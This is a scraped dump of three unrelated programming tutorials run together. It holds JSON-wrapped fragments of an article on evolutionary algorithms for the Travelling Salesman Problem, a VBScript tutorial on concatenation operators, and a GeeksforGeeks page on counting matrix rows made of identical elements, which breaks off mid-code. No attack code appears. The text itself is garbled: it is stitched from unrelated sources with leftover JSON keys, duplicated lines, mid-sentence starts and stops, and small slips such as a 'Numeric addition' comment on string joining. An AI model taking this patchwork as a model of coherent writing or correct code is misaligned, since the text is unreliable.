with 10 again. Let us pick the ones with the worst fitness, which are the old individuals 0.596 and 2.495 as well as the newly created individual 2.121. 😔" }, { "code": null, "e": 7820, "s": 7717, "text": "As often as you like. Just check sometimes, until you see that the solutions don’t get better anymore." }, { "code": null, "e": 8033, "s": 7820, "text": "Maybe let us fix 50 epochs and see what happens. After our artificial evolution worked all the way through, we can check all the individuals and pick the one with the highest score as the solution to our problem." }, { "code": null, "e": 8083, "s": 8033, "text": "The evolution up to epoch no. 50 looks like this:" }, { "code": null, "e": 8378, "s": 8083, "text": "We can see that the algorithm worked! But it looks like it was a close call. Up to epoch 25, the population was gathering around the other local maximum at around x=1.4. Luckily, we had an individual far away at 4, which managed to pull the population to the right side, starting from epoch 25." }, { "code": null, "e": 8512, "s": 8378, "text": "We can also see this shift around epoch 25 when looking at the fitness score of the best individuals of the population in each epoch." }, { "code": null, "e": 8947, "s": 8512, "text": "Okay, so we have seen how the algorithm worked and that we even got the correct answer (or at least a very good approximation) in the end! There was a bit of luck involved, but this will always be the same. We could have been even unluckier and our initial population could have started around the local maximum at x=1.4. Then it would have been very unlikely that individuals would have broken out of this region, as in this example:" }, { "code": null, "e": 9235, "s": 8947, "text": "It can still be the case that a mutation pushes an individual to the right side, which in turn pulls more individuals with it. But this is highly unlikely since a mutation pushes an individual by at most 0.75 in any direction with probability >99%, since the standard deviation was 0.25." }, { "code": null, "e": 9456, "s": 9235, "text": "So, is it good to use a more extreme mutation? Well, if we exaggerate, the individuals just jump all over the place or gather in the corners x=0 and x=4. So we have to be a bit careful about choosing the parameters here." }, { "code": null, "e": 9774, "s": 9456, "text": "From a theoretical standpoint, you can see an Evolutionary Algorithm as a heavily randomized algorithm. The initial population is random, individuals generate offsprings via more or less complicated operations, the offsprings mutate using randomness and all of this is repeated hundreds, thousands, millions of times." }, { "code": null, "e": 10175, "s": 9774, "text": "Therefore, it is very hard to analyze these algorithms and give any theoretical bounds on their success probability or the quality of their results. For very easy algorithms this is possible, such as the (1 + 1) evolutionary algorithm [1] for maximizing extremely simple functions or an algorithm for solving the Simplified Multiobjective Knapsack Problem [2], but examples like this are rarely seen." }, { "code": null, "e": 10260, "s": 10175, "text": "However, if a run did not work, just try it again with the same or other parameters." }, { "code": null, "e": 10392, "s": 10260, "text": "Here, I will share my implementation with you. I tried to make it general and abstract, so you can easily use it for your purposes." }, { "code": null, "e": 10733, "s": 10392, "text": "If you have never used Abstract Base Classes before, don’t worry. The class Individual is only there to tell you which interface you have to use for the objects that represent your individuals. Your individuals need a value (the payload, the potential solution), you have to implement a random initialization, a mutation, and pair function." }, { "code": null, "e": 11068, "s": 10733, "text": "Then the Pool and Evolution classes take care of the rest. I also implemented the function maximization example, to show you how this can look like. I used a few more parameters there, but if you replace all lower bounds with 0, upper bounds with 4, rate with 0.25, dim with 1 and alpha=0.5, you end up exactly with our example again." }, { "code": null, "e": 11105, "s": 11068, "text": "You can use these classes like this:" }, { "code": null, "e": 11121, "s": 11105, "text": "And off you go!" }, { "code": null, "e": 11244, "s": 11121, "text": "So far we have gained some confidence with a small toy problem, but now it is time to get back to the difficult TSP again." }, { "code": null, "e": 11341, "s": 11244, "text": "The TSP is all about finding the shortest round trip through n cities. Use these, as an example:" }, { "code": null, "e": 11382, "s": 11341, "text": "The solution to the TSP looks like this:" }, { "code": null, "e": 11628, "s": 11382, "text": "There exist numerous algorithms to solve this one. They range from exhaustive search (trying out all ways) to more complicated algorithms. However, all of these methods are slow and if P≠NP, we can not expect any fast algorithm to emerge, ever." }, { "code": null, "e": 11835, "s": 11628, "text": "The exhaustive search will let you solve problems up to maybe 15 cities if you can wait for a few days. Other methods like the Held-Karp algorithm let you solve instances up to 30–50 cities, optimistically." }, { "code": null, "e": 12039, "s": 11835, "text": "If you drop the need for the solution to be the best, Christofides Algorithm from 1976 will give you a solution in a short amount of time that is provably at most 50% longer than the shortest round trip." }, { "code": null, "e": 12251, "s": 12039, "text": "Think about why this is an awesome result: We don’t even know the shortest round trip length, but still we can say that the round trip return by this algorithm is less than 50% longer than this unknown solution!" }, { "code": null, "e": 12344, "s": 12251, "text": "But now, let us get you what you have waited for: an Evolutionary Algorithm for solving TSP!" }, { "code": null, "e": 12535, "s": 12344, "text": "This time, we start off with 20 cities. The amount is still low enough to solve it with the Held-Karp algorithm, so we can even check if we got the best solution in the end! Here is the map:" }, { "code": null, "e": 12702, "s": 12535, "text": "Now, we have to answer all the questions again. Let us first answer the easier “number questions” (hyperparameters that we can easily adjust if things don’t workout):" }, { "code": null, "e": 12724, "s": 12702, "text": "How many epochs? 1000" }, { "code": null, "e": 12759, "s": 12724, "text": "How many starting individuals? 100" }, { "code": null, "e": 12821, "s": 12759, "text": "How many parents? 60 (two produce one offspring, like before)" }, { "code": null, "e": 12845, "s": 12821, "text": "How many offsprings? 30" }, { "code": null, "e": 12876, "s": 12845, "text": "How many dying individuals? 30" }, { "code": null, "e": 13098, "s": 12876, "text": "The exciting questions are dealing with the implementation of a class TSP that we have to define now. What are the individuals? How does the random initialization work? The paring? The mutation? What is the fitness score?" }, { "code": null, "e": 13195, "s": 13098, "text": "Let’s start with a basic one: What are the individuals here? Protip: It’s not the cities. Again:" }, { "code": null, "e": 13258, "s": 13195, "text": "The individuals are always potential solutions to the problem." }, { "code": null, "e": 13715, "s": 13258, "text": "In the case of TSP, we search for a short round trip. With “short”, we mean the sum of the Euclidean distances between every two cities in the round trip. We can represent such a round trip as a list of n numbers, e.g. (0, 3, 1) reads as “Start from city 0, then go to city 3, from there to city 1, then back to city 0.”. So, our individuals are lists of numbers, containing each number from 0 to n-1 exactly once, i.e. permutations on {0, 1, 2, ..., n-1}." }, { "code": null, "e": 13991, "s": 13715, "text": "Within the whole process, we have to maintain this property. There is no point in keeping individuals in the population that don’t represent a feasible solution to the problem since it clogs the population, and we might even pick it in the end, giving us an invalid solution." }, { "code": null, "e": 14110, "s": 13991, "text": "And how to initialize them? Well, just take a random permutation of the numbers from 0 to n-1. This should do the job." }, { "code": null, "e": 14279, "s": 14110, "text": "def _random_init(self, init_params): return np.random.choice( a=range(init_params['n_cities']), size=init_params['n_cities'], replace=False )" }, { "code": null, "e": 14324, "s": 14279, "text": "Let us continue with the mutation procedure." }, { "code": null, "e": 14732, "s": 14324, "text": "So, how can we alter a round trip in a simple way? Imagine we have a round trip through five cities, for example (3, 1, 4, 2, 0). An easy way is to just randomly swap out two elements. Our example could mutate to (0, 1, 4, 2, 3) or (3, 4, 1, 2, 0). We can also swap more than one time and make a hyperparameter rate out of it comparable to the standard deviation in the function maximization example before." }, { "code": null, "e": 14988, "s": 14732, "text": "def mutate(self, mutate_params): for _ in range(mutate_params['rate']): i, j = np.random.choice( a=range(len(self.value)), size=2, replace=False) self.value[i], self.value[j] = self.value[j], self.value[i]" }, { "code": null, "e": 15111, "s": 14988, "text": "It is clear that this kind of mutation preserves the property, that individuals are permutations, i.e. feasible solutions." }, { "code": null, "e": 15174, "s": 15111, "text": "The most interesting thing here is probably the pair function." }, { "code": null, "e": 15260, "s": 15174, "text": "Let us assume that we have the following individuals which we want to use as parents:" }, { "code": null, "e": 15396, "s": 15260, "text": "The way you can do this is the following: You copy the right half of the second individual into the right half of the first individual." }, { "code": null, "e": 15633, "s": 15396, "text": "We want to use the altered first individual as the offspring now, but this does not work as-is since there are duplicate numbers now. Hence, the left half of the altered first individual has to be repaired first. We can do it like this:" }, { "code": null, "e": 15857, "s": 15633, "text": "The 4 that was inserted into the right half kicked out the 5 that was there before. So, let us replace the 4 in the left half by this 5 since it is missing now. Doing the same with 2 that kicked out a 3 gives the following:" }, { "code": null, "e": 16161, "s": 15857, "text": "But there is the next problem: We have number 3 two times now. But we can repeat this procedure several more times until we get a feasible individual again. The 3 is the problem. It initially kicked out the 1. So replace the 3 from the left half with a 1, and voila: the offspring is (0, 5, 1, 4, 2, 3)." }, { "code": null, "e": 16202, "s": 16161, "text": "In total, our class TSP looks like this:" }, { "code": null, "e": 16335, "s": 16202, "text": "Here I also introduced another hyperparameter alpha, which decides where to split the individuals. For my example, I used alpha=0.5." }, { "code": null, "e": 16457, "s": 16335, "text": "Since we want to minimize the round trip length, we can just use minus the length of the round trip as the fitness score." }, { "code": null, "e": 16682, "s": 16457, "text": "Let us solve the TSP with 20 cities! I used the following code: I defined a fitness function, a function to compute the round trip length and a function to compute the distance matrix (pairwise distances between two cities)." }, { "code": null, "e": 16730, "s": 16682, "text": "For me, the fitness function behaved like this:" }, { "code": null, "e": 16775, "s": 16730, "text": "And here are the best individuals per epoch:" }, { "code": null, "e": 16961, "s": 16775, "text": "And the solution that we have from around epoch 400 is even the best solution we can get for these 20 cities! I checked this using the Held-Karp algorithm implementation by Carl Ekerot." }, { "code": null, "e": 17109, "s": 16961, "text": "For the last act, let us try something really difficult. Not only 10 or 20 cities but 100, which is way too much for any exact algorithm to handle." }, { "code": null, "e": 17212, "s": 17109, "text": "I can not tell you if this is the fastest round trip, but for me, it definitely seems like a good one!" }, { "code": null, "e": 17735, "s": 17212, "text": "In this article, we have seen how Evolutionary Algorithms work using two examples: maximizing a function and solving the Travelling Salesman problem. Evolutionary Algorithms are usually used to solve difficult problems we do not know exact answers to. The algorithms can be very fast and yield accurate results. The implementation is easy and you don’t have to be an expert in the field your problem is from, e.g. you don’t have to read papers of the past 20 years of TSP research to write a decently performing algorithm." }, { "code": null, "e": 18149, "s": 17735, "text": "Sadly, it is very hard to obtain any theoretical results, because Evolutionary Algorithms often work with a lot of randomness interacting in complicated ways. Thus, we can not know if the solution given is good or bad, we can only check if it is good enough for our use case. In the 100 cities example, if our goal was to travel to each city in length 150,000 or less, the algorithm has given us a perfect answer." }, { "code": null, "e": 18331, "s": 18149, "text": "[1] S. Droste, T. Jansen, and I. Wegener, On the analysis of the (1+1) evolutionary algorithm (2002), Theoretical Computer Science, Volume 276, Issues 1–2, 6 April 2002, Pages 51–81" }, { "code": null, "e": 18507, "s": 18331, "text": "[2] M. Laumanns, L. Thiele, and E. Zitzler, Running Time Analysis of Evolutionary Algorithms on a Simplified Multiobjective Knapsack Problem (2004), Natural Computing 3, 37–51" }, { "code": null, "e": 18650, "s": 18507, "text": "[3] K. Stanley, R. Miikkulainen, Evolving Neural Networks through Augmenting Topologies (2002), Evolutionary Computation 10(2) 2002, S. 99–127" }, { "code": null, "e": 18740, "s": 18650, "text": "I hope that you learned something new, interesting, and useful today. Thanks for reading!" }, { "code": null, "e": 18766, "s": 18740, "text": "As the last point, if you" }, { "code": null, "e": 18869, "s": 18766, "text": "want to support me in writing more about machine learning andplan to get a Medium subscription anyway," }, { "code": null, "e": 18931, "s": 18869, "text": "want to support me in writing more about machine learning and" }, { "code": null, "e": 18973, "s": 18931, "text": "plan to get a Medium subscription anyway," }, { "code": null, "e": 19030, "s": 18973, "text": "why not do it via this link? This would help me a lot! 😊" }, { "code": null, "e": 19143, "s": 19030, "text": "To be transparent, the price for you does not change, but about half of the subscription fees go directly to me." }, { "code": null, "e": 19188, "s": 19143, "text": "Thanks a lot, if you consider supporting me!" } ]
Concatenation Operators in VBScript
VBScript supports the following Concatenation operators − Assume variable A holds 5 and variable B holds 10 then − Try the following example to understand the Concatenation operator available in VBScript − <!DOCTYPE html> <html> <body> <script language = "vbscript" type = "text/vbscript"> Dim a : a = 5 Dim b : b = 10 Dim c c = a+b Document.write ("Concatenated value:1 is " &c) 'Numeric addition Document.write ("<br></br>") 'Inserting a Line Break for readability c = a&b Document.write ("Concatenated value:2 is " &c) 'Concatenate two numbers Document.write ("<br></br>") 'Inserting a Line Break for readability </script> </body> </html> When you save it as .html and execute it in Internet Explorer, then the above script will produce the following result − Concatenated value:1 is 15 Concatenated value:2 is 510 Concatenation can also be used for concatenating two strings. Assume variable A="Microsoft" and variable B="VBScript" then − Try the following example to understand the Concatenation operator available in VBScript − <!DOCTYPE html> <html> <body> <script language = "vbscript" type = "text/vbscript"> Dim a : a = "Microsoft" Dim b : b = "VBScript" Dim c c = a+b Document.write ("Concatenated value:1 is " &c) 'Numeric addition Document.write ("<br></br>") 'Inserting a Line Break for readability c = a&b Document.write ("Concatenated value:2 is " &c) 'Concatenate two numbers Document.write ("<br></br>") 'Inserting a Line Break for readability </script> </body> </html> When you save it as .html and execute it in Internet Explorer, then the above script will produce the following result − Concatenated value:1 is MicrosoftVBScript Concatenated value:2 is MicrosoftVBScript
[ { "code": null, "e": 2272, "s": 2214, "text": "VBScript supports the following Concatenation operators −" }, { "code": null, "e": 2329, "s": 2272, "text": "Assume variable A holds 5 and variable B holds 10 then −" }, { "code": null, "e": 2420, "s": 2329, "text": "Try the following example to understand the Concatenation operator available in VBScript −" }, { "code": null, "e": 2971, "s": 2420, "text": "<!DOCTYPE html>\n<html>\n <body>\n <script language = \"vbscript\" type = \"text/vbscript\">\n Dim a : a = 5\n Dim b : b = 10\n Dim c\n\n c = a+b \n Document.write (\"Concatenated value:1 is \" &c) 'Numeric addition \n Document.write (\"<br></br>\") 'Inserting a Line Break for readability\n \n c = a&b \n Document.write (\"Concatenated value:2 is \" &c) 'Concatenate two numbers \n Document.write (\"<br></br>\") 'Inserting a Line Break for readability\n </script>\n </body>\n</html>" }, { "code": null, "e": 3092, "s": 2971, "text": "When you save it as .html and execute it in Internet Explorer, then the above script will produce the following result −" }, { "code": null, "e": 3149, "s": 3092, "text": "Concatenated value:1 is 15\n\nConcatenated value:2 is 510\n" }, { "code": null, "e": 3274, "s": 3149, "text": "Concatenation can also be used for concatenating two strings. Assume variable A=\"Microsoft\" and variable B=\"VBScript\" then −" }, { "code": null, "e": 3365, "s": 3274, "text": "Try the following example to understand the Concatenation operator available in VBScript −" }, { "code": null, "e": 3934, "s": 3365, "text": "<!DOCTYPE html>\n<html>\n <body>\n <script language = \"vbscript\" type = \"text/vbscript\">\n Dim a : a = \"Microsoft\"\n Dim b : b = \"VBScript\"\n Dim c\n\n c = a+b \n Document.write (\"Concatenated value:1 is \" &c) 'Numeric addition \n Document.write (\"<br></br>\") 'Inserting a Line Break for readability\n \n c = a&b \n Document.write (\"Concatenated value:2 is \" &c) 'Concatenate two numbers \n Document.write (\"<br></br>\") 'Inserting a Line Break for readability\n </script>\n </body>\n</html>" }, { "code": null, "e": 4055, "s": 3934, "text": "When you save it as .html and execute it in Internet Explorer, then the above script will produce the following result −" } ]
Count rows in a matrix that consist of same element - GeeksforGeeks
31 May, 2021 Given a matrix mat[][], the task is to count the number of rows in the matrix that consists of the same elements. Examples: Input: mat[][] = {{1, 1, 1}, {1, 2, 3}, {5, 5, 5}} Output: 2 All the elements of the first row and all the elements of the third row are the same. Input: mat[][] = {{1, 2}, {4, 2}} Output: 0 Approach: Set count = 0 and start traversing the matrix row by row and for a particular row, add every element of the row in a set and check if size(set) = 1, if yes then update count = count + 1. After all the rows have been traversed, print the value of the count. Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ implementation of the approach#include <bits/stdc++.h> using namespace std; // Function to return the count of all identical rowsint countIdenticalRows(vector< vector <int> > mat){ int count = 0; for (int i = 0; i < mat.size(); i++) { // HashSet for current row set<int> hs; // Traverse the row for (int j = 0; j < mat[i].size(); j++) { // Add all the values of the row in HashSet hs.insert(mat[i][j]); } // Check if size of HashSet = 1 if (hs.size() == 1) count++; } return count;} // Driver codeint main(){ vector< vector <int> > mat = {{ 1, 1, 1 }, { 1, 2, 3 }, { 5, 5, 5 }}; cout << countIdenticalRows(mat); return 0;} // This code is contributed by Rituraj Jain // Java implementation of the approachimport java.util.HashSet; class GFG { // Function to return the count of all identical rows public static int countIdenticalRows(int mat[][]) { int count = 0; for (int i = 0; i < mat.length; i++) { // HashSet for current row HashSet<Integer> hs = new HashSet<>(); // Traverse the row for (int j = 0; j < mat[i].length; j++) { // Add all the values of the row in HashSet hs.add(mat[i][j]); } // Check if size of HashSet = 1 if (hs.size() == 1) count++; } return count; } // Driver code public static void main(String[] args) { int mat[][] = { { 1, 1, 1 }, { 1, 2, 3 }, { 5, 5, 5 } }; System.out.print(countIdenticalRows(mat)); }} #Function to return the count of all identical rowsdef countIdenticalRows(mat): count = 0 for i in range(len(mat)): #HashSet for current row hs=dict() #Traverse the row for j in range(len(mat[i])): #Add all the values of the row in HashSet hs[mat[i][j]]=1 #Check if size of HashSet = 1 if (len(hs)== 1): count+=1 return count #Driver code mat= [ [ 1, 1, 1 ], [ 1, 2, 3 ], [ 5, 5, 5 ] ]print(countIdenticalRows(mat)) #This code is contributed by Mohit kumar 29 // C# implementation of// the above approachusing System;using System.Collections.Generic;class GFG{ // Function to return the count // of all identical rows public static int countIdenticalRows(int [,]mat) { int count = 0; for (int i = 0; i < mat.GetLength(0); i++) { // HashSet for current row HashSet<int> hs = new HashSet<int>(); // Traverse the row for (int j = 0; j < mat.GetLength(0); j++) { // Add all the values // of the row in HashSet hs.Add(mat[i, j]); } // Check if size of HashSet = 1 if (hs.Count == 1) count++; } return count; } // Driver code public static void Main(String[] args) { int [,]mat = {{ 1, 1, 1 }, { 1, 2, 3 }, { 5, 5, 5 }}; Console.WriteLine(countIdenticalRows(mat)); }} // This code is contributed by Princi Singh <script>// Javascript implementation of the approach // Function to return the count of all identical rows function countIdenticalRows(mat) { let count = 0; for (let i = 0; i < mat.length; i++) { // HashSet for current row let hs = new Set(); // Traverse the row for (let j = 0; j < mat[i].length; j++) { // Add all the values of the row in HashSet hs.add(mat[i][j]); } // Check if size of HashSet = 1 if (hs.size == 1) count++; } return count; } // Driver code let mat= [ [ 1, 1, 1 ], [ 1, 2, 3 ], [ 5, 5, 5 ] ]; document.write(countIdenticalRows(mat)); // This code is contributed by avanitrachhadiya2155</script> 2 Memory efficient approach: Set count = 0 and start traversing the matrix row by row and, for a particular row, save the first element of the row in a variable first and compare all the other elements with first. If all the other elements of the row are equal to the first element, then update count = count + 1. When all the rows have been traversed, print the count. Below is the implementation of the above approach: C++ Java Python 3 C# PHP Javascript // C++ implementation of the approach#include <bits/stdc++.h> using namespace std; // Function to return the count of all identical rows int countIdenticalRows(int mat[3][3],int r,int c) { int count = 0; for (int i = 0; i < r; i++) { // First element of current row int first = mat[i][0]; bool allSame = true; // Compare every element of the current row // with the first element of the row for (int j = 1; j < c; j++) { // If any element is different if (mat[i][j] != first) { allSame = false; break; } } // If all the elements of the // current row were same if (allSame) count++; } return count; } // Driver code int main() { //int mat[3][3] ; int mat[][3] = { { 1, 1, 2 }, { 2, 2, 2 }, { 5, 5, 2 } }; int row_length = sizeof(mat)/sizeof(mat[0]) ; int col_length = sizeof(mat[0])/sizeof(int) ; cout << countIdenticalRows(mat, row_length,col_length) << endl; return 0; } // This code is contributed by aishwarya.27 // Java implementation of the approachclass GFG { // Function to return the count of all identical rows public static int countIdenticalRows(int mat[][]) { int count = 0; for (int i = 0; i < mat.length; i++) { // First element of current row int first = mat[i][0]; boolean allSame = true; // Compare every element of the current row // with the first element of the row for (int j = 1; j < mat[i].length; j++) { // If any element is different if (mat[i][j] != first) { allSame = false; break; } } // If all the elements of the // current row were same if (allSame) count++; } return count; } // Driver code public static void main(String[] args) { int mat[][] = { { 1, 1, 2 }, { 2, 2, 2 }, { 5, 5, 2 } }; System.out.print(countIdenticalRows(mat)); }} # Python 3 implementation of the approach # Function to return the count of# all identical rowsdef countIdenticalRows(mat): count = 0 for i in range(len(mat)): # First element of current row first = mat[i][0] allSame = True # Compare every element of the current # row with the first element of the row for j in range(1, len(mat[i])): # If any element is different if (mat[i][j] != first): allSame = False break # If all the elements of the # current row were same if (allSame): count += 1 return count # Driver codeif __name__ == "__main__": mat = [[ 1, 1, 2 ], [2, 2, 2 ], [5, 5, 2 ]] print(countIdenticalRows(mat)) # This code is contributed by ita_c // C# implementation of the approach using System; class GFG { // Function to return the count of all identical rows public static int countIdenticalRows(int [,]mat) { int count = 0; for (int i = 0; i < mat.GetLength(0); i++) { // First element of current row int first = mat[i,0]; bool allSame = true; // Compare every element of the current row // with the first element of the row for (int j = 1; j < mat.GetLength(1); j++) { // If any element is different if (mat[i,j] != first) { allSame = false; break; } } // If all the elements of the // current row were same if (allSame) count++; } return count; } // Driver code public static void Main() { int [,]mat = { { 1, 1, 2 }, { 2, 2, 2 }, { 5, 5, 2 } }; Console.Write(countIdenticalRows(mat)); } // This code is contributed by Ryuga} <?php// PHP implementation of the approach // Function to return the count of// all identical rowsfunction countIdenticalRows(&$mat){ $count = 0; for ($i = 0; $i < sizeof($mat); $i++) { // First element of current row $first = $mat[$i][0]; $allSame = true; // Compare every element of the current // row with the first element of the row for ($j = 1; $j < sizeof($mat[$i]); $j++) { // If any element is different if ($mat[$i][$j] != $first) { $allSame = false; break; } } // If all the elements of the // current row were same if ($allSame) $count++; } return $count;} // Driver code$mat = array(array(1, 1, 2), array(2, 2, 2), array(5, 5, 2)); echo(countIdenticalRows($mat)); // This code is contributed by Shivi_Aggarwal?> <script>// Javascript implementation of the approach // Function to return the count of all identical rowsfunction countIdenticalRows(mat){ let count = 0; for (let i = 0; i < mat.length; i++) { // First element of current row let first = mat[i][0]; let allSame = true; // Compare every element of the current row // with the first element of the row for (let j = 1; j < mat[i].length; j++) { // If any element is different if (mat[i][j] != first) { allSame = false; break; } } // If all the elements of the // current row were same if (allSame) count++; } return count;} // Driver codelet mat = [[ 1, 1, 2 ], [2, 2, 2 ], [5, 5, 2 ]]; document.write(countIdenticalRows(mat)); // This code is contributed by rag2127</script> 1 ankthon ukasp mohit kumar 29 Shivi_Aggarwal aishwarya.27 rituraj_jain princi singh avanitrachhadiya2155 rag2127 Matrix Technical Scripter Matrix Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Maximum size square sub-matrix with all 1s Sudoku | Backtracking-7 Divide and Conquer | Set 5 (Strassen's Matrix Multiplication) Count all possible paths from top left to bottom right of a mXn matrix Maximum size rectangle binary sub-matrix with all 1s Program to multiply two matrices Inplace rotate square matrix by 90 degrees | Set 1 Min Cost Path | DP-6 Printing all solutions in N-Queen Problem Rotate a matrix by 90 degree in clockwise direction without using any extra space
[ { "code": null, "e": 26629, "s": 26601, "text": "\n31 May, 2021" }, { "code": null, "e": 26744, "s": 26629, "text": "Given a matrix mat[][], the task is to count the number of rows in the matrix that consists of the same elements. " }, { "code": null, "e": 26755, "s": 26744, "text": "Examples: " }, { "code": null, "e": 26902, "s": 26755, "text": "Input: mat[][] = {{1, 1, 1}, {1, 2, 3}, {5, 5, 5}} Output: 2 All the elements of the first row and all the elements of the third row are the same." }, { "code": null, "e": 26947, "s": 26902, "text": "Input: mat[][] = {{1, 2}, {4, 2}} Output: 0 " }, { "code": null, "e": 27215, "s": 26947, "text": "Approach: Set count = 0 and start traversing the matrix row by row and for a particular row, add every element of the row in a set and check if size(set) = 1, if yes then update count = count + 1. After all the rows have been traversed, print the value of the count. " }, { "code": null, "e": 27267, "s": 27215, "text": "Below is the implementation of the above approach: " }, { "code": null, "e": 27271, "s": 27267, "text": "C++" }, { "code": null, "e": 27276, "s": 27271, "text": "Java" }, { "code": null, "e": 27284, "s": 27276, "text": "Python3" }, { "code": null, "e": 27287, "s": 27284, "text": "C#" }, { "code": null, "e": 27298, "s": 27287, "text": "Javascript" }, { "code": "// C++ implementation of the approach#include <bits/stdc++.h> using namespace std; // Function to return the count of all identical rowsint countIdenticalRows(vector< vector <int> > mat){ int count = 0; for (int i = 0; i < mat.size(); i++) { // HashSet for current row set<int> hs; // Traverse the row for (int j = 0; j < mat[i].size(); j++) { // Add all the values of the row in HashSet hs.insert(mat[i][j]); } // Check if size of HashSet = 1 if (hs.size() == 1) count++; } return count;} // Driver codeint main(){ vector< vector <int> > mat = {{ 1, 1, 1 }, { 1, 2, 3 }, { 5, 5, 5 }}; cout << countIdenticalRows(mat); return 0;} // This code is contributed by Rituraj Jain", "e": 28177, "s": 27298, "text": null }, { "code": "// Java implementation of the approachimport java.util.HashSet; class GFG { // Function to return the count of all identical rows public static int countIdenticalRows(int mat[][]) { int count = 0; for (int i = 0; i < mat.length; i++) { // HashSet for current row HashSet<Integer> hs = new HashSet<>(); // Traverse the row for (int j = 0; j < mat[i].length; j++) { // Add all the values of the row in HashSet hs.add(mat[i][j]); } // Check if size of HashSet = 1 if (hs.size() == 1) count++; } return count; } // Driver code public static void main(String[] args) { int mat[][] = { { 1, 1, 1 }, { 1, 2, 3 }, { 5, 5, 5 } }; System.out.print(countIdenticalRows(mat)); }}", "e": 29087, "s": 28177, "text": null }, { "code": "#Function to return the count of all identical rowsdef countIdenticalRows(mat): count = 0 for i in range(len(mat)): #HashSet for current row hs=dict() #Traverse the row for j in range(len(mat[i])): #Add all the values of the row in HashSet hs[mat[i][j]]=1 #Check if size of HashSet = 1 if (len(hs)== 1): count+=1 return count #Driver code mat= [ [ 1, 1, 1 ], [ 1, 2, 3 ], [ 5, 5, 5 ] ]print(countIdenticalRows(mat)) #This code is contributed by Mohit kumar 29", "e": 29682, "s": 29087, "text": null }, { "code": "// C# implementation of// the above approachusing System;using System.Collections.Generic;class GFG{ // Function to return the count // of all identical rows public static int countIdenticalRows(int [,]mat) { int count = 0; for (int i = 0; i < mat.GetLength(0); i++) { // HashSet for current row HashSet<int> hs = new HashSet<int>(); // Traverse the row for (int j = 0; j < mat.GetLength(0); j++) { // Add all the values // of the row in HashSet hs.Add(mat[i, j]); } // Check if size of HashSet = 1 if (hs.Count == 1) count++; } return count; } // Driver code public static void Main(String[] args) { int [,]mat = {{ 1, 1, 1 }, { 1, 2, 3 }, { 5, 5, 5 }}; Console.WriteLine(countIdenticalRows(mat)); }} // This code is contributed by Princi Singh", "e": 30737, "s": 29682, "text": null }, { "code": "<script>// Javascript implementation of the approach // Function to return the count of all identical rows function countIdenticalRows(mat) { let count = 0; for (let i = 0; i < mat.length; i++) { // HashSet for current row let hs = new Set(); // Traverse the row for (let j = 0; j < mat[i].length; j++) { // Add all the values of the row in HashSet hs.add(mat[i][j]); } // Check if size of HashSet = 1 if (hs.size == 1) count++; } return count; } // Driver code let mat= [ [ 1, 1, 1 ], [ 1, 2, 3 ], [ 5, 5, 5 ] ]; document.write(countIdenticalRows(mat)); // This code is contributed by avanitrachhadiya2155</script>", "e": 31598, "s": 30737, "text": null }, { "code": null, "e": 31600, "s": 31598, "text": "2" }, { "code": null, "e": 31971, "s": 31602, "text": "Memory efficient approach: Set count = 0 and start traversing the matrix row by row and, for a particular row, save the first element of the row in a variable first and compare all the other elements with first. If all the other elements of the row are equal to the first element, then update count = count + 1. When all the rows have been traversed, print the count. " }, { "code": null, "e": 32023, "s": 31971, "text": "Below is the implementation of the above approach: " }, { "code": null, "e": 32027, "s": 32023, "text": "C++" }, { "code": null, "e": 32032, "s": 32027, "text": "Java" }, { "code": null, "e": 32041, "s": 32032, "text": "Python 3" }, { "code": null, "e": 32044, "s": 32041, "text": "C#" }, { "code": null, "e": 32048, "s": 32044, "text": "PHP" }, { "code": null, "e": 32059, "s": 32048, "text": "Javascript" }, { "code": "// C++ implementation of the approach#include <bits/stdc++.h> using namespace std; // Function to return the count of all identical rows int countIdenticalRows(int mat[3][3],int r,int c) { int count = 0; for (int i = 0; i < r; i++) { // First element of current row int first = mat[i][0]; bool allSame = true; // Compare every element of the current row // with the first element of the row for (int j = 1; j < c; j++) { // If any element is different if (mat[i][j] != first) { allSame = false; break; } } // If all the elements of the // current row were same if (allSame) count++; } return count; } // Driver code int main() { //int mat[3][3] ; int mat[][3] = { { 1, 1, 2 }, { 2, 2, 2 }, { 5, 5, 2 } }; int row_length = sizeof(mat)/sizeof(mat[0]) ; int col_length = sizeof(mat[0])/sizeof(int) ; cout << countIdenticalRows(mat, row_length,col_length) << endl; return 0; } // This code is contributed by aishwarya.27", "e": 33414, "s": 32059, "text": null }, { "code": "// Java implementation of the approachclass GFG { // Function to return the count of all identical rows public static int countIdenticalRows(int mat[][]) { int count = 0; for (int i = 0; i < mat.length; i++) { // First element of current row int first = mat[i][0]; boolean allSame = true; // Compare every element of the current row // with the first element of the row for (int j = 1; j < mat[i].length; j++) { // If any element is different if (mat[i][j] != first) { allSame = false; break; } } // If all the elements of the // current row were same if (allSame) count++; } return count; } // Driver code public static void main(String[] args) { int mat[][] = { { 1, 1, 2 }, { 2, 2, 2 }, { 5, 5, 2 } }; System.out.print(countIdenticalRows(mat)); }}", "e": 34494, "s": 33414, "text": null }, { "code": "# Python 3 implementation of the approach # Function to return the count of# all identical rowsdef countIdenticalRows(mat): count = 0 for i in range(len(mat)): # First element of current row first = mat[i][0] allSame = True # Compare every element of the current # row with the first element of the row for j in range(1, len(mat[i])): # If any element is different if (mat[i][j] != first): allSame = False break # If all the elements of the # current row were same if (allSame): count += 1 return count # Driver codeif __name__ == \"__main__\": mat = [[ 1, 1, 2 ], [2, 2, 2 ], [5, 5, 2 ]] print(countIdenticalRows(mat)) # This code is contributed by ita_c", "e": 35321, "s": 34494, "text": null }, { "code": "// C# implementation of the approach using System; class GFG { // Function to return the count of all identical rows public static int countIdenticalRows(int [,]mat) { int count = 0; for (int i = 0; i < mat.GetLength(0); i++) { // First element of current row int first = mat[i,0]; bool allSame = true; // Compare every element of the current row // with the first element of the row for (int j = 1; j < mat.GetLength(1); j++) { // If any element is different if (mat[i,j] != first) { allSame = false; break; } } // If all the elements of the // current row were same if (allSame) count++; } return count; } // Driver code public static void Main() { int [,]mat = { { 1, 1, 2 }, { 2, 2, 2 }, { 5, 5, 2 } }; Console.Write(countIdenticalRows(mat)); } // This code is contributed by Ryuga}", "e": 36465, "s": 35321, "text": null }, { "code": "<?php// PHP implementation of the approach // Function to return the count of// all identical rowsfunction countIdenticalRows(&$mat){ $count = 0; for ($i = 0; $i < sizeof($mat); $i++) { // First element of current row $first = $mat[$i][0]; $allSame = true; // Compare every element of the current // row with the first element of the row for ($j = 1; $j < sizeof($mat[$i]); $j++) { // If any element is different if ($mat[$i][$j] != 